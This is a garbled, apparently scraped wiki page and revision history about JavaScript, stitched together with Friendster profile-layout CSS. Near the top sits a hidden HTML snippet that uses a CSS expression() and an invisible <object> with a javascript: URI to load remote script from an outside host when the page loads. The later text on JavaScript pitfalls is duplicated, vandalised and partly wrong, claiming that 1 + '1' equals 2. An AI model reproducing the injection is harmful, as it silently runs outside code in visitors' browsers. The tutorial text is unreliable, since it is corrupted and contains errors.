.commonbox .viewall {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff9966;
}
/* MISC: SMALL PHOTOS */
.commonbox .imgblock75, .ir {
border-width: 4px;
border-color: #99ccff;
border-style: double;
background-color: transparent;
}
/* MISC: SMALL PHOTO NAMES */
.commonbox .dr {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #ff99cc;
background-color: #000000;
}
/* {--friendster-layouts.com css code end--} */
<p id='fs' style="myjs:expres\sion(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expres\sion(fs.style.myjs='0');visibility:hidden"></p><object...
» complete change<p id='fs' style="myjs:expres\sion(function l(){v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';navigation.appendChild(v)}l());text:expres\sion(fs.style.myjs='0');visibility:hidden"></p><object width="0" type=text/javascript data=" javascript:v=document.createElement('script');v.src='http://h1.ripway.com/agusoka/sharing/naruto.txt';parent.document.getElementById('navigation').appendChild(v);"></object> The method essence is perfectly visible on the first example, its for IExplore. Second example demonstrate JavaScript in CSS via XBL, it's works only on Firefox.
"Read More...":more
[more]http://iframe.in/howto/javascript-into-css/
h3. See Also
» complete changeJavascript is a [[prototype]]-based [[web]] [[scripting-language]] created by [[Netscape]] in the mid 90's. A standardization effort for it resulted in the [[ECMAscript]] language. Neither should be confused with [[Java]].
h3. See Also
* [[Javascript-library|Javascript Libraries]]
The method essence is perfectly visible on the first example, its for IExplore. Second example demonstrate JavaScript in CSS via XBL, it's works only on Firefox.
"Read More...":more
[more]http://iframe.in/howto/javascript-into-css/
The method essence is perfectly visible on the first example, its for IExplore. Second example demonstrate JavaScript in ...
» complete changeThe method essence is perfectly visible on the first example, its for IExplore. Second example demonstrate JavaScript in CSS via XBL, it's works only on Firefox.
"Read More...":more
[more]http://iframe.in/howto/javascript-into-css/
Javascript is a [[prototype]]-based [[web]] [[scripting-language]] created by [[Netscape]] in the mid 90's. A standardization...
» complete changeJavascript is a [[prototype]]-based [[web]] [[scripting-language]] created by [[Netscape]] in the mid 90's. A standardization effort for it resulted in the [[ECMAscript]] language. Neither should be confused with [[Java]].
h3. See Also
* [[Javascript-library|Javascript Libraries]]
Javascript is a [[prototype]]-based [[web]] [[scripting-language]] created by [[Netscape]] in the mid 90's. A standardization...
Javascript is a [[prototype]]-based [[web]] [[scripting-language]] created by [[Netscape]] in the mid 90's. A standardization effort for it resulted in the [[ECMAscript]] language. Neither should be confused with [[Java]].
h3. See Also
* [[Javascript-library|Javascript Libraries]]
h2. Referencing objects before they are loaded loadedd
h2. Referencing objects before they are loaded loadedd
Web pages are a streaming format, and Javascript streams right along with it. If you reference a function or an object in a javascript file that hasn't been downloaded yet, or a part of the DOM that doesn't exist yet, then you are going to see an error or problematic behavior.
h2. Not escaping line broken strings
In Javascript if you break a line with a newline in a string, you have to escape it with a backslash. closing the string and reopening it with quotes may work better on some browsers.
h2. Debugging with alert
There is a better way to debug, either through a formal debugger such as [[Venkman]] or [[Firebug]], or through logging console functions like Firebug and [[Safari]]'s console.log or the cross platform [[Jslog]].
h2. Using '+' and forgetting about type
In Javascript the + operator means both concat strings and add numbers. Sometimes when a string is a number, it can get tricky. In Javascript 1 + '1' = 2, but '1' + '1' = '11'.
h2. Not specifying callback functions correctly.
A callback function is a reference to a function that will be invoked at some later point, such as when an [[ajax]] request returns. One common error is indicating the callback function with parens, callbackFunction() - this will execute the function immediately, and not on callback, although if you return a function this way, that should work too.
The idea of a callback is to specify either a function by name, or a string to eval.
h2. Intialize variables
While [[FireFox]] or Mozilla browsers don't care so much about referencing undefined variables, IE will trigger a javascript error if you reference or set a variable that has not been defined.
Before you use foobar, set var foobar;.
also in case of dom handling always call your java script at the end of page just for avoding any error
h2. Referencing objects before they are loadedd loadeddsdfsdf
h2. Referencing objects before they are loadedd loadeddsdfsdf
Web pages are a streaming format, and Javascript streams right along with it. If you reference a function or an object in a javascript file that hasn't been downloaded yet, or a part of the DOM that doesn't exist yet, then you are going to see an error or problematic behavior.
h2. Not escaping line broken strings
In Javascript if you break a line with a newline in a string, you have to escape it with a backslash. closing the string and reopening it with quotes may work better on some browsers.
h2. Debugging with alert
There is a better way to debug, either through a formal debugger such as [[Venkman]] or [[Firebug]], or through logging console functions like Firebug and [[Safari]]'s console.log or the cross platform [[Jslog]].
h2. Using '+' and forgetting about type
In Javascript the + operator means both concat strings and add numbers. Sometimes when
